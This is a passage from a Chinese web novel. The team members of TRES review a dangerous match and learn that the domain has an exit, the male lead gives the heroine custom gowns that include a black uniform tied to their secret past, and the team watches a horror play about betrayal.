明年的3月4日。 咳… 反正不是他,他没做过亏心事,他在这本书里和Yu都不认识。 老钱:“……” 老钱又咳了咳:“这毕竟是你个人的隐私,如果是我,我也不会想让其他人看到。” 将铭点头:“抱歉,我多嘴了。” 邱任望继续拍他的肩,这次是由衷的:“心细不是你的错。” 老钱拍了拍手掌,示意大家集中:“有关《深渊》的事儿先讲 到这里,后续交给对剧情进行深入研究的技术人员,大家先中场休息会儿,喝喝水什么的…” 他道:“下半场复盘比赛。” 邱任望哀嚎了一声:“我都坐了一个小时半了…还有下半场啊。” 老钱手指了指他,看着他左眼的纱布最终没说什么:“先休息,我买了点水果,你们想吃的分着吃吧。” 中场休息。 会议室里闷,章诎和屈孚宁出去吹风去了,将铭坐在原位,还在研究着自己手里的资料,邱任望伏在桌子上小憩。 晏逾明早就离开了会议室。 温知初独自一人坐在会议室里,双眼在空白的本子上定了会儿,她站起身,往外走。 不过刚踏出门,她就被门外倚着的人影喊住了。 晏逾明不知道在门外站了多久了,似乎专门为了等她。 温知初停下脚步,她抬起眼:“怎么了吗?” 晏逾明:“去哪儿?” “一楼。”她道,“透风。” 晏逾明:“一起。” 两人一前一后地往前走,静默在二人之间弥漫,没有人主动开口的话,二人之间永远是沉默的。 走到楼梯的时候,吊灯的光从斜上方照过来,将两人的影子一前一后地投映到墙上。 晏逾明兀然开口:“你不好奇那一张有关你的剧情吗?” 温知初的脚步凝滞了一瞬:“是…有些好奇的。” “是吗?”他和她并肩往下走,“看起来不怎么好奇啊…” 骨节分明的手不知道什么时候拿了一张折叠过的信封,递到她跟前:“想看么?” 温知初停住脚步。 沉默再次弥漫。 沉默中,她的脑海如同卡住的程序,不熟悉而谨慎地处理着该怎么行动的数据。 她总是看不懂晏逾明的下一步。 温知初抬眼:“我可以知道么…你不介意么?” “有关死亡的场面,”晏逾明似笑非笑,“如果是你,我不介意。” 温知初抬眼看了看他,又垂眼望向他手中的信封。 颀长的手指伸出,接过了这封包裹着纸张的信封。 别墅里的吊灯,似乎有些过于亮了。 照得封口的火漆如同血一般深红。 第53章 温知初打开了封口。 034号比当事人紧张太多:[真的要看吗? ] 034号: [男主到底怎么想的啊? ] 034号: [现在摊牌吗?会不会对宿主你的计划产生什么影响啊? ] 034号的声音在信封彻底打开后戛然而止。 温知初修长的手指抽出信封中的纸张。 这是一张棉纸,带着檀香味和不规则的毛边,上面的字迹用深黑色的墨水写就…根本不是什么书中的纸张。 这是一封手写信。 温知初抬头,不明所以地望向晏逾明。 两人已经走到了一楼的玻璃房外。 晏逾明:“吓到了?” 他深邃的双眼中有不明显的笑意:“抱歉, 只是开个玩笑, 信封里不是那一张剧情。” “那张纸我收起来了。”他道, “有关死亡的场面, 我还没做好准备和任何人分享。” 温知初略微摇头:“我能理解。” 她该感到庆幸么…他似乎也没准备打开他们之间的潘多拉魔盒。 深黑的双眼定定地望了一会儿夜色, 又看向手中的信:“所以这是…” 夜虫在灯下晃。 晏逾明:“别人寄给你的。” 他道:“你看看。” 蝉鸣声中,月光在草地上镀上银白的光晕。 信纸上。 尊敬的Wen: 你的定制礼服已制作完成,已将成衣送到指定地址。此次设计采用您指定的面料与剪裁,所有的装饰都是手工缝制,并且我们袖口和披肩进行了可拆卸设计,以应对不同场合的需求。 我们相信,这些礼服不仅能完美衬托您的优雅气质,更能成为您珍藏的艺术品。如有任何细节需要调整,请随时与我们联系。您的满意,是我们不懈追求的目标。 来自永远爱您的 LAtelier de la Soie 丝绸工坊 信上的墨水很新,显然刚送来不久。 温知初愈发不明所以, 深黑的双眼浮现出少见的茫然。 她抿了抿唇线:“我并没有订购过…” “我定制的。”晏逾明接过话,他垂首望向她,“算是我的赔礼。” 他道:“对不起。” 晏逾明:“副班长对班长所做的一切, 我替他代为抱歉。” 夜色将他轮廓外的冷漠掩藏得很好,由是低沉的声音仿佛真的有了两三分歉意:“之前看到你的那本Oxigeno,我觉得你也许会喜欢,就把那些图样送去制作礼服了。” 晏逾明:“这可能不是一份最适合的礼物,不过确实代表了我的歉意。” 034号:[假的。 ] [都是假的。 ] [宿主,你知道的吧,他怎么可能对你有所歉意…那不是副班长对班长想做的事,那就是他对你的真实态度… ] 她当然知道。 温知初抬眼:“谢谢。” 她望向晏逾明的眼底,她的神情中,总有一种天生的温和与冷淡的交融的气质。 不过现在,在昏黄的路灯下,温和要比冷淡多很多。 无论晏逾明的歉意是真的还是假的,她的感谢是真的…也许不是因为礼服这件事。 她道:“域中发生的事其实没必要在意,我们都是不受控的。不过这份礼物…” 她再次道:“谢谢…” 034号: [呜呜呜谢什么啊…都是假的… ] 花圃旁,高大修长的身影弯下,晏逾明弯下腰,视线和温知初持平,深深地望着她的双眼,似乎在探寻她的情绪是不是真的。 深黑的双眼黑白分明而干净,就好像世间所有的谎言都与她无关。 可明明…他们的相遇就是一场谎言。 晦暗不明的对视中,到底有多少真情,又有多少假意。 晏逾明直起身:“那就当你接受我的歉意了。” 风吹得花圃旁树影婆娑。 温知初开口:“休息时间快结束了。” 她抬眼:“该上去了。” · 会议下半场,复盘第二轮、后果有些过于惨重的SS赛。 虽然最后赢了,他们走出来了,但代价是两个月的精神力重伤昏迷期,这甚至还是针对性训练过精神力的后果。 按照常理来说,会议的主题应该往以后的比赛要速战速决绝对不能再在域中停留太久上牵引。 恰恰相反。 老钱开口:“孩子们,没办法,就算在域里滞留久了是一件非常危险的事,你们也必须要去做这件事。” 因为,通过分析第二轮的域,训练官们发现了一件惊奇的事。 光屏上,显露出域数据的热成像。 “你们看这些光点的轨迹。”老钱指着光屏上那一片不那么焦灼密集的区域,“这是域内的一个部分,这个部分和<深渊>的光点轨迹完全相反,无论从模型内颜色的深浅来看,还是从光点运行的轨迹来看,全都相反。” 队员们纷纷抬起头。 将铭站起身,走到前面看轨迹,略微睁大双眼:“这是说…” 老钱点头:“可以说是一个天大的好消息。” TRES冒着性命风险不断进入域,第一次,全无所得,但是在受伤惨重的第二次SS域中,他们终于发现了… 老钱指着这部分光点轨迹:“轨迹表明,这一片和<深渊>的运行完全相反。” 换一句话说。 他们发现了SS域内,果然有<深渊>的出口。 <深渊>并不是不可逃脱的! 出口就在SS域内! 邱任望不禁叫出了声,他也站起身:“…真的…真的有出口!” 不可置信。 TRES的大多数人其实对于在SS赛里找寻到<深渊>的出口,抱以的是最低的期待,他们都认为自己的结局大概率和那些SS队的前人一样,以最凄惨的姿态死在域里。 可现在…有人告诉他们,他们竟然探索到了出口。 “怎么可能…”将铭的第一反应是冷静分析,“之前的那些战队也不止一次地进入过域,他们也有技术人员进行分析,不可能他们没有找出相关的运行轨迹…” “你说得很对,但是我们和他们有一个很明显的不同。”老钱道,“你能想到吗…” “不同…”章诎接过话,“唯一的不同。” 是他们所进入的域,比那些SS战队,多出一个不可控的剧情。 “对。”老钱说,“就是剧情。” 他再次望向光屏:“所以这个轨迹图不是以前对于域内地图的分析,而是对于剧情这一抽象概念的模拟成象图。” 图像上的那片区域指的不是域内地图的某个地方,而是指的是某块剧情的流动。 如果达成这块剧情,他们就能找到离开<深渊>的路。 这就是分析后,几乎于悚然、但简单明了的结果。 “达成剧情…”邱任望声音提高,“那到底要达成什么剧情?” 老钱:“以我们现有的技术和维度的局限性,怎么可能分析得出来,我们唯一能确定的就是达成这片区域的剧情后,我们就能逃离<深渊> 。” 既然是出口,域内不可能好心地发布关键事件节点,来促使他们去达成这样的剧情。 按照常理推断,这片区域的区域,应该是域内极力会妨碍他们去进行的、和他们人设相反的、难以达成的剧情。 不知道时间、不知道发展的方向。 是完全未知的剧情。 老钱:“这就是为什么大家不仅得继续进入域,还得在域中待得更久的原因。” 现在,除了完成域内的比赛目标,他们还多了一个极其重要的目标——主动去探索剧情,去寻找出口。 这意味着,他们必须要做大量的额外之事。 以前,早早结束比赛,脱离域是他们的指向。 现在,为了主动探索更多的剧情,在域内逗留更久成了新的指向。 这种指向三两句就能说清楚,但是其中的风险却是…极具地增加了。 通过第二轮SS域,大家也明白了,如果在域内待太久,一是精神力耗竭身体衰竭,二是有可能因为太过深入人物设定被剧情粘连,永远地被留在域内无法出来,两种可能性都通往死亡。 剧情和域的危险只会越来越高,伤害只会越来越大。 那片给邱任望吃下的药、在综合楼故障的电梯,类似这样的事…会越来越多。 他们每个人,都只有一条命。 “如果…”屈孚宁抬头,“如果我们死在里面了呢。” 就算找到了出口,又拿什么出去,又怎么告诉外面的人出口在哪里。 老钱沉默着,他也无法回答这个问题。 TRES无法保证主力队员的安危。 老钱:“对于出口的分析,技术人员在加倍努力地做成像软件,后面会嵌入到你们的终端里,带到SS域内,帮助大家不那么茫然地去探索剧情,应该会节省一些生命成本…” 屈孚宁察觉到气氛有点不对劲。 他刚才提出这个问题,不是因为惜命,而是真的在思考能找到出口的可能性。 为了防止话题偏到人终将有一死的感性上,他开口转移话题:“还有多久能做好?” 老钱:“快了,明天就可以内嵌。” 邱任望出口缓和气氛:“有希望总是好的。” 往后他们进域,总归有了一些主动性,不再像个无头苍蝇一样,除了打赢比赛之外不知道该怎么办。 他道:“教练,该说说我们比赛的表现了,时间不早了,赶紧复盘完我要吃饭。” <深渊>存在出口这件事让大部分人精神振奋起来,集中力显然比上半场会议要高很多。 《深渊》带来的阴霾,被出口这件事拂去了大半。 “好,复盘具体操作。”老钱,“这轮就不论所谓的分数了,直接分析具体行为,首先,邱任望…” 他望向左眼被层层包裹的邱任望。 老钱:“这轮你怎么看?” 邱任望站着,耸耸肩:“我能怎么看…自从服下那片药后,我就不是我自己了。” 老钱:“确实,这轮你无法复盘,完全就是个被《深渊》挑中的倒霉蛋…不过确实有很多值得表扬的地方。” “我们都没有吃过这种药片,也没有样本可以用来分析,但是从你赛程的生命体征来看,你服下第一片药,其实生命体征已经受到极大的影响,药有极强的致幻和致痛效用,初步判断是一种精神控制类药物。”老钱道,“你能忍住,没有自杀,已经很了不起了,因为你坚持住了,我们有了《深渊》的线索,也没有损失一名相当重要的队员。” 邱任望想起域中的痛苦,叹了一口气:“这种痛苦,我不想再经历一次了。” 如果不是因为想着TRES ,想着要出来,他可能早就在域中结束生命了。 “最后是小温把我拉回来的,没有她来救我,我可能真的就不在了…”邱任望朝温知初望去。 老钱拍了拍他的肩:“小温在综合楼表现得非常好,你能坚持下来也非常好…但是由于这次你没有什么能力展现机会,所以主Tactic位,下一轮还是让章诎来担当,没有问题吧?” 邱任望:“没问题。” “好,”老钱简短有力地推动着流程,“章诎。” 章诎抬头。 “表现得很好,完全尽到了一个主Tactic位该尽到的责任,”老钱道,“一开始决策的方向是对的,预测了敌方会在最后暴动,把所有的权限都用来兑换剧情脱离时长。” 老钱:“不过行动力上还是有短板,这一点继续在训练中去加强。” 章诎点头。 “下一个,屈孚宁。”老钱笑道,“依旧是幸运的一次,人物设定极大地避免了风险,但是剧情任务和后面利用人物设定一起出去找物资都统筹得很好,依旧是保守地进行,在确保自身生命安全下任务都完成得不错。后面虽然因为人物设定无法回到游泳场馆,但也利用了这一点在外寻找邱任望的信号。” 将铭开口:“小屈一直很稳。” “是,”老钱道,“非常稳,但是…” 他挑了挑眉:“小屈,下一轮比赛,主Vent位换成小温,你应该没有意见吧?” 屈孚宁没有任何犹豫:“没有。” 大家甚至没有解释任何原因,就定下了这点。 温知初在域里什么表现,有目共睹。 “温知初…”老钱道,“最后讲你,除了生命安全管理上,几乎所有操作都是完美的。” 完美但惊险。 “先讲将铭。”又是一名求稳的大将。 老钱:“和小温一起的班长和体委之间的配合得很好,对体育部的不断的冲突阻拦得很得当,是场馆内维持秩序必要的存在。” “还是老问题。”老钱道,“将铭你的能力很强,有的时候其实可以冒进一点,更助于能力的发挥。之前只要处理比赛目标,所以保守点完全没错,但是以后我们进入域是需要主动探索剧情的,将铭,不要被人物设定困住。” 将铭确实是最容易被人物设定困住的、那种非常守规矩的人。 他点头:“我会的。” “接下来。”老钱道,“Yu。” 他道:“和上一轮一样、无论在决策还是行动上,都很完美,在冒险和保守之间把握得很平衡。” 他继续道:“这一轮Yu抽的角色目标其实和总体保人的目标是相反的,如果其他人抽到这个角色,我可能有些不放心,但是Yu的副班长处理得很好,关键事件节点挑选了一些虽然负面但是不会造成决定性影响的去完成,在角色的处理上有一定的冒险,但是最后成功地遏制住了本身去完成杀人类似的剧情任务,并且争取到了足够的剧情脱离时间。” “Yu哥,”邱任望惊讶地问,“你的任务里真的有杀人啊?” 晏逾明淡淡地点头,转着手中的笔:“是有。” 老钱:“最后在决策上,选择相信队友温知初在综合楼的行动,没有把时间分出来也很关键。” 当时如果不是Yu拍板,队员们大概率肯定会把剧情脱离的时间用在营救综合楼上,会导致一些危险的后果。 “以及在场馆内和敌方的战斗。”老钱道,“非常完美地压制了两个S级的敌方。” 战斗方面,晏逾明是无可挑剔的。 场馆内的压制,主Carn位永远是主力。 “最后,”老钱道,“温知初。” 他道:“其实这场SS赛我整场看下来,我真的有点好奇…你的短板在哪里?” 老钱其实一开始并不看好温知初,尤其是当初挑选队员入队的时候。 一开始他觉得让E级入SS队太过冒险,后来有了第一场SS赛之后,他又觉得温知初的行事太过冒险。 虽然他总是说屈孚宁和将铭太保守,但保守打法才是最稳的。 第二轮SS域里,温知初的行动比第一轮更惊险了,老钱在观看比赛的时候,有好几次都觉得TRES可能要折在里面了,但温知初偏偏用最惊险的方式扭转了局势。 虽然行事的方向是惊险的,但行事的能力是稳得不能再稳了。 就好像无论把任何事交给她去做,她永远会做得很稳、很好,哪怕是看起来完全不可能完成、风险最大的事。 行动永远比话语多的、可靠得让人惊讶的一个队员。 “可以说,因为她角色的特殊性,”老钱道,“这次的主线基本上都是温知初推动的。” “在二域中,一共有三次比较大的危机,因为小温抽到了班长这个角色,比较多劳、自我牺牲的一个角色,所以这三个危机都和她相关,也都是由她来解决的。” 老钱继续说:“首先,陈玉清的急性出血,需要药物,小温组织着出去找食物和药。第二个危机,体育部那些人集体出去,小温利用场馆内的丧尸转移矛盾,拖延时间。第三个危机,综合楼那里的陷阱,这就不用多说了,从一楼到顶层的厮杀、故障电梯的自救、最后对队友的营救,为TRES争取到了大量的时间。” 老钱:“都说小温是幸运E,班长这个角色确实很难支撑,几乎把一个人当成十个人来用,但小温完全撑住了。” “比起上一场的副班长,我反而觉得班长这个角色适合她,”老钱道,“虽然确实是个很辛苦的角色,但比起副班长,小温的行动自由度更高了,能最大化利用她的行动力来改变局势。” “但是…”老钱道,“还是太冒险了…” 彻底的不求稳,而求进,感觉像是不要命一样。 这样的一种决策和行事,只有结果是好的,才能反过来倒推过程是对的。有多少人敢选择和温知初一样地去这样做,自己打开西门去绑丧尸进来…困在故障电梯里十二个小时…独自一个人去综合楼… 但老钱说不出批评的话,因为温知初就是能做好,而且确实做得很好。 因材施教是老钱的原则。 他觉得温知初是天生的Vent位,一把极度锋利的刀,一个谨慎却极度大胆的赌徒,无惧任何困难,无论前方是任何艰难险阻,这把刀都会往外劈去,在观测仔细后毫不犹豫地下最大的注。 而且战斗力极高。 等级对她而言完全是个虚构。 这让老钱不由联想到晏逾明。 两个人有些相似的地方,但有些地方又完全相反。 相似的是决策果断,战斗力都极高且背负着诸多秘密;相反的地方是,晏逾明永远对于战斗是漫不经心的,是断后的,而温知初则是主动的,是求进的。 晏逾明是厌倦危机的类型,他会等待危机降临后再防守,而后进攻。但温知初是不把危机当回事的类型,会用主动靠近危机的方式来解决问题。 所以温知初适合Vent位,而晏逾明适合Carn位,不过两个人都已经优秀到可以兼容所有的职能位,都是全能发展的代表。 “说实话,我现在都有些好奇你们两个人打一架,到底谁更厉害…”老钱开玩笑道。 晏逾明慵懒地转着手中的笔,似笑非笑:“友谊赛?” 老钱:“开个玩笑,没必要把力气浪费在这里。” 温知初抬眼,淡淡地开口:“我不会输。” 034号深以为然。 不过男主绝对也不容小觑,是狠人中的狠人。 “突然想到一个题外话,”邱任望笑着开口,“技术人员分析背后数据的时候,说班长和副班长的剧情贴合度最高,但我一想到扮演班长的小温是道德E ,而扮演副班长的Yu哥是道德S ,就觉得很抽象。” 他笑着:“由此可见有关道德的测试肯定不太准。” 老钱点了点头。 他一想到一楼摆着的那个日历,就觉得Yu绝对不是什么道德S ,至少现在不是。 而小温…道德这事儿论迹不论心,如果道德E都能像小温一样的话,他希望全世界都是道德E。 道德E是什么程度,是坏到可以毫不留情生食人脑袋的程度…像小温这么懂礼貌的队员,怎么可能对人的脑袋感兴趣。 034号:[……] “话回正题,也是最后一件事儿…”临近散会,老钱的姿态轻松了些,“说一说敌方吧。” 他道:“这次直面敌方,想必你们也发现了一个问题…他们不完全是<深渊>的工具。” 起码他们是求生的。 这次域的规则其实对TRES非常不好,但凡敌方自己自杀一个人,TRES必定是死局。 但敌方在比赛过程中并没有表现过任何有关于此的倾向。 说明他们哪怕是<深渊>的工具,也是有一定自主意识的。 不过这个发现似乎没什么帮助。 <深渊>和剧情的能力一直在提升,也许后面就能完全控制手底下的傀儡了。 “这事儿就是说给大家听听,好好利用说不定能省点事儿。”老钱道,“行了,会议结束了,大家去休息吧。” 漫长而信息量极大的复盘会终于结束了。 “终于…”邱任望站起身,伸了个大懒腰,“一起去先去吃饭吧。” 将铭:“走。” · 夜色沉静。 吃完晚饭后,温知初推开房门,回到自己的房间。 今天的卧室有所不同。 手上拿着之前晏逾明给她的信,温知初走进衣帽间,定制的礼服果然已经被送过来了,已经被机器人分门别类地悬挂在开放式衣柜里。 原本空荡荡的衣帽间,一下变得拥挤。 轻柔的灯光打在礼服上,珠光与刺绣勾勒出精细的纹理。繁复的叠料、剪裁考究的正装、镶嵌着碎钻的裙摆…在Oxigeno童话里才会出现的瑰丽服饰,被具象化成了真实的布料。 温知初对衣服方面并没有太多的兴趣,她一排一排地看过去,只能感觉到做得很好看,比较用心。 034号:[宿主,虽然有很多裙子太隆重了平常没办法穿,但有些服饰其实可以搭配日常服装,你看那个棕色的毛绒格子包,这个和你上次去游乐园的一身很配。 ] 034号:[还有那几套裙子,把披肩拿掉的话,是很好看的日常裙子…] 034号比宿主激动。 不过它感觉宿主估计更会把这些衣服当成偶像的周边。 温知初认真地看过去,往后走。 走到最后一排的时候,她停下脚步,深黑的双眼兀然定住。 或是可爱清新、或是瑰丽的衣衫中,出现了一件格格不入的衣服。 既不是什么长裙也不是什么正装,是一件队服。 不是TRES的队服。 这是一件全黑的队服,上装和下装都是纯黑,只有袖口处印着标志,仔细看,会看到一个绿色的X ,和红色的蝙蝠图样诡异地重叠在一起。 034号: […这个标志?等等,这不是域里那个药瓶上的标志吗? ] [什么意思? ]034号道, [Oxigeno里没有这种服装啊……男主送你这个做什么? ] 这个问题的答案,只有晏逾明和温知初知道。 因为这套衣服…温知初穿过。 在她初次遇见晏逾明时。 在深渊旁。 她将他推入深渊时,穿的就是这件衣服。 第54章 走出衣帽间。 温知初把这套队服带出来了。 队服被叠在了桌子上。 温知初坐在桌子前, 抿了抿唇线,望向桌子上的衣服。 卧室里只开着一个立式台灯,光线显得昏暗。 034号已经知道了这个队服的来源, 立即开口:[感觉像来自男主的警示。 ] 034号:[难道是宣战…] 034号:[开始要摊牌了? ] 但是男主刀人不是一向很有仪式感么,还没到明年三月四日呢。 等不及了…恨意难耐了? 034号瞎猜着,它开始检索男主的数值: [让我看看男主对宿主的杀意值是不是又升高了… ] 检索后的结果出乎它的意料: [什么…竟然是最近刚刚降低了? ] 从二域出来后, 杀意值便开始下降了, 送出定制服饰后,竟然更加降低了。 明明送了一件和谎言相关的队服, 杀意值反而降低了…? 这是什么意思? 难道送出这个队服的目的不是挑衅和宣战吗? 是试探么? 到底是什么意思… 034号从未想到过男主对宿主的杀意值还能下降,毕竟男主是个很偏执而绝对的人,就算有人是出于什么原因误杀了他,他也会按照原则对其进行处刑。 这是他的性格底色。 一个结果导向的人。 可惜它只能看到男主对宿主的杀意值,如果能看到其他数值就好了…就比如…好感值之类的? 毕竟按照男主这种性格, 杀意和好感是可以同时存在的。 这种从《深渊》里走出来的狠人,无法用常理去思度。 或者看到厌恶值也行啊。 毕竟按照此消彼长的理论,宿主应该更愿意看到男主对她保持一个比较高的排斥态度,互不相容,就不会此消彼长。 单从杀意值来看,根本揣度不了男主的态度。 晦暗的灯光下,温知初的目光依旧定在桌子上的队服上,似乎在思考该拿这件衣服怎么办。 听到034号的话,她略微抬眼:“你刚才说什么?” 034号:[……] 它刚才说了好多话。 温知初:“有关杀意值。” [哦… ]034号道, [宿主,男主对你的杀意值下降了挺多的,虽然不知道到底出于什么原因。 ] 卧室内安静下来。 光线忽明忽暗,温知初后倚到椅子上, 并不因此而开心。 晏逾明的下一步她永远看不懂,包括他的内心。 她轻轻地啧了一声。 人类…好难啊。 卧室内安静了许久,温知初站起身,像是想通了什么。 她把这套衣服拿了起来,没有选择放到衣柜下层收纳起来。 而是打开了上层的柜门,展开,拿衣架挂了起来。 · 第二天,依旧训练的日子。 温知初没有穿平常的那件灰色运动服,换上了这套全黑的队服。 把帽檐往下扣,出门,下楼梯。 黑短T修身,展露温知初流畅的肩线,布料贴合腰身而下,衬得她愈发冷淡慵懒,长裤笔直垂落,勾勒出两条修长的腿。 她走到一楼的饭桌旁,默不作声地坐下,吃早饭。 队友们都在桌旁坐着,低声地聊着天。 邱任望一眼就看到了温知初:“小温,早。” 温知初抬眼:“早。” 坐在温知初身旁的章诎也开口:“早啊。” 温知初:“早。” 坐在温知初对面的晏逾明抬眼,目光落在温知初的身上,眼神顿了顿:“早。” 034号独自尖叫:[宿主,他看到你穿这件衣服了! ] 温知初平静地抬眼:“早。” 显然不只晏逾明注意到了温知初身上的队服。 “欸?”有个女训练官好奇地看过来,“小温…你这穿的不是我们的队服啊?” 设计太像了,刚才还以为是TRES的队服来着,结果没有队标。 “嗯。”温知初平淡地开口,“运动服。” 训练官职业病犯了:“款式挺像队服的,但是比TRES的设计得好,更修身,挺适合训练的,腿上还有个可以别刀的挎带…” 她问:“小温,你袖口的那个标志是什么,可以让我看看吗?” “这个?”温知初伸直手臂。 邱任望也看过来,短T的袖口上,有一个奇特的标志,往外凸…仔细看 ,其实是贴了一个大的动画贴画,上面写着《小朋友都爱的宝镜》。 邱任望:“……”又是这三头小猪。 女训练官看了看,只觉得自家孩子可爱:“小温果然还是个小孩儿呢…” 034号一直小心翼翼地盯着男主的反应,因为它还是挺害怕刺激男主的后果的。 别两个人直接打起来了。 这样戏剧化的场面显然不会出现在两个人之间。 不过,表面的平静之下,显然有什么情绪在慢慢地膨胀、拉扯。 晏逾明放下手中的刀叉,后倚到椅子中,沉默地看了会儿温知初,直到温知初抬眼,注意到他停留过久的视线。 温知初:“嗯?” 晏逾明似笑非笑。 就在034号以为他要说起队服的时候,晏逾明开口:“还要喝牛奶吗?” 他把手旁的杯子推过去:“这杯没动过。” 温知初:“…谢谢。” 晏逾明:“多吃点,最近训练量加大了。” 温知初:“嗯。” 晏逾明的视线依旧停留在温知初身上,直到她把那杯新的牛奶喝完了,视线才缓慢地收回来。 从这天往后,是连续五天的无休息训练日,训练量是之前的两倍。 从这天开始,除了在训练馆训练时,宿主都会穿这件全黑的队服。 男主送来这件队服的意味是不明的,没有任何解释的,是个充满不明意味的问题;那么宿主这些天穿上这套队服,就是同样充满不明意味的答案。 两个人明明没有说清楚问题和答案,但好像都明白了对方的意味…关系又重新冷了下去。 除了打照面的时候互相打个招呼,几乎没有其他交流。 就算训练的时候站在一起,也没有任何谈话。 他们之间的关系,似乎又回到了第二轮SS域开启前。 重回那个冰点。 宿主似乎对这种变化没有什么反应,除了训练外,没有其他关注点。 在训练馆内,她踹开一个模拟敌方的靶子,听着耳机中的指令,撑着扶手从二楼跳下来,捡起地上的刀,躬身往布景中深入。 一下午的负重跑后,温知初站在跑道上,耳机中传来训练官的声音。 “第三轮SS域开启的时间出来了。”训练官道,“明天中午。” 通知来得仓促,这意味着TRES的队员们这次训练没有休息日。 温知初停下脚步:“收到。” 训练官也觉得有些不好意思,她补充道:“你们教练刚刚在群里发了,今天提前结束训练,晚上请你们所有人去市中心剧院看话剧。” 温知初稳重地继续往前跑:“好…收到。” · 市中心只有一家剧院,是<深渊>中的恐怖主题类剧院,消费极高,但里面的话剧体验感很好,买一张票,服务流程包括从市中心用马车接来客人、观赏话剧、话剧后的宴会,以及送客人回家。 因为是体验式话剧,客人需要按照主题搭配相应的服装出席。 今日…也就是8月8日晚的话剧主题是送葬人。 晚上七点的时候,老钱已经在TRES门口等着了,不管是什么主题,反正穿一身西装肯定是最省事的,偷懒,却能符合几乎所有主题。 想到这点的显然不只他一个,章诎和将铭也穿着一身西装出来了,只不过两个年轻人的脸上被画了几道血口子。 几个人站在马车外等其他队友。 马车倒是装扮得挺恐怖的,车厢里一股石榴汁味,在地板上流血。 等了一会儿后,其他人接连出来了。 屈孚宁和邱任望没有穿西装,屈孚宁借着这个主题完完全全地用布料包裹住自己,除了脸,全身上下一点儿皮肤都没有露出,邱任望穿了一身用血红颜料洒染的运动服,自己在上衣后面画了俩黑翅膀。 Yu明明穿的是西装的,但由于他过于英俊的长相和高大修长的身材,莫名其妙就有一种浑然天成的非人感,让人想起电影中才会出现的那种吸血鬼贵族。 温知初最后一个出来的,和Yu一样,也是天生的长相自带非人感的一位,不过她的打扮也很贴合主题。 里面内搭的裙子是Yu送衣服中的一件简单纯白纱裙,但是上半身套上了镂空的针织衫,下半身用苏格兰外裙将纱裙半束住,头上戴着的黑色格子发巾如同头纱一样束住长发。 纯白的纱裙上,溅上了星星点点的血红颜料,晕染着往外散开。 很暗沉但有对比度的一套叠穿。 “好好看啊小温…果然你做什么事都很认真。”邱任望比大拇指,站到温知初身边,“老钱,你看我们俩配不配,像不像一套的哥妹…” 老钱站在对面,朝邱任望比手势:“你让让,我给小温拍张照片。” 邱任望:“……” 老钱拍了一张,朝Yu和温知初看:“你们站在一起试试,我拍张照。” 邱任望:“…………………” 老钱也有点无语…他就想帮队里的两个Ace拍张合照,结果两个人站得远远的,中间都能站下两个他了。 不是…是他的错觉么…怎么感觉关系比以前更不好了呢… 老钱:“要不你们站…” “欸!”邱任望一声喊,走到两人中间站下,“我就知道教练心里有我!再站个我正好!” 老钱:“……” “咔擦”声落下,镜头里,除了邱任望笑得牙齿都露出来,其他两个人,一个平和,一个面无表情。 老钱:“……” 不是,这俩孩子怎么回事…不是第二轮比赛结束后关系才升温了一下吗…听训练官说Yu还给小温送什么衣服来着…怎么又这么僵了? 跟陌生人似的… 马车是两人一辆。 老钱特意把邱任望拦住了:“你跟我一辆,小温、Yu,你们俩坐一辆。” 他分配着。 队员之间还是关系好一些比较好,太僵了影响域内合作。 温知初停下了朝另一辆马车走去的脚步,听到了教练的话,她顿了顿,朝身后的马车走去。 马车不算狭小,坐两个人绰绰有余。 说是马车,其实没有马,靠电运作的仿制马车,车厢是半镂空的,能看到外面的景色。 温知初上车后,朝晏逾明颔首,两人算是打过招呼了,各自坐下。 一个坐在马车的最东侧,一个坐在马车的最西侧,马车开始行走后,两人各自看着就近的窗,马车内除了轮子颠簸的声响,没有其他声响。 马车行走的这整整半个消失,昏暗的马车内,没有半点交流。 034号:[……] 它感觉它也快窒息。 马车停下,剧院内的工作人员来接TRES的队员们,他们下马车。 剧院内站满了人,大多是<深渊>里的电子NPC,少部分是活人。 落座后,剧院内的灯光沉下去,音效响起,进入了话剧观赏的时间。 因为老钱的安排,温知初和晏逾明的座位依旧在一起,不过二人依旧默不作声,眼神没有交汇。 二人都望向台子。 序幕缓缓地拉开,像是要给大家一个惊吓,剧院头顶随着枪响的音效,提前准备好的彩带球炸裂开,染成血红色的彩带往下飘落,洒在观众的脑袋上。 不少观众发出惊吓的尖叫声。 温知初冷淡地抬眼,她显然不会被惊吓到,但是坐的位置正好在彩带球下,不少彩带飘落在她的头发上。 她抬起手,想要拂开这些彩带。 另一只骨节分明的手在此之前伸来,伴随着台上的台词,轻轻地拂开了她头发上的彩带。 …温知初略微抬眼。 034号的声音不合时宜地响起:[…宿主,男主的杀意值经过这五天,已经上升成原来的区间了。 ] 黑暗的剧院内,晏逾明收回手:“好了。” 温知初略微提起唇角,她颔首。 “谢谢。” 第55章 很不巧, 话剧讲的是一个有关背叛的故事。 主题除了送葬人之外,紧扣信任、背叛、死亡、真相。 这些主题,似乎正是横亘在宿主和男主之间,那层永远不会有人主动去揭露的隔阂。 主要角色就四个:送葬人维克多、他的妻子艾琳娜、维克多的朋友格雷医生, 以及维克多的女儿莉莉安。 他们共同生活在一个偏僻而藏有诸多秘密的小镇里。 维克多是小镇上备受尊敬的送葬人, 沉默寡言, 总是独自一人在墓地里为死者祈福。平静的生活一封信打破。信中揭露维克多与挚友格雷曾经共同犯下的罪行…多年前, 他们为了金钱,背叛一位无辜的朋友, 导致其惨死。 艾琳娜无意中发现了这封信, 震惊之余,她质问维克多。维克多不承认自己杀过人, 艾琳娜半信半疑。与此同时,格雷现身, 承认这一切,并威胁要公开罪行,除非维克多协助自己完成一场更大的阴谋。维克多陷入两难。 莉莉安无意中听到他们的对话,开始对父亲的过去感到恐惧。她试图揭开真相, 却意外卷入更多的危险。最终,维克多决定直面自己的过去,向家人坦白一切, 并试图阻止格雷的阴谋。 他当初确实为了金钱和格雷一起背叛了那位朋友, 但是人确实不是他杀的。 故事的结尾, 有些欧亨利。 莉莉安发现了真相:母亲其实早就知道维克多的过去, 并且一直在暗中和格雷合作,试图通过维克多的愧疚控制他。 维克多震惊不已,意识到自己不仅被挚友背叛, 还被最信任的妻子欺骗。 故事的最后一幕,维克多独自站在墓地中,手中握着一把铲子,面前是格雷和艾琳娜的尸体。 整个台子上,除了满手是血的维克多之外,还有他身后那…双眼通红、虚无的死魂灵。 它显形了。 那位曾经被送葬人背叛的朋友化为魂灵,盯着他,随着他一起消失在浓雾中。 送葬人…又最终会被怎么送葬… 血从墓碑上不断往下流淌,暗示背叛和死亡依旧无止境。 话剧结束,演员们退场,剧场内响起掌声。 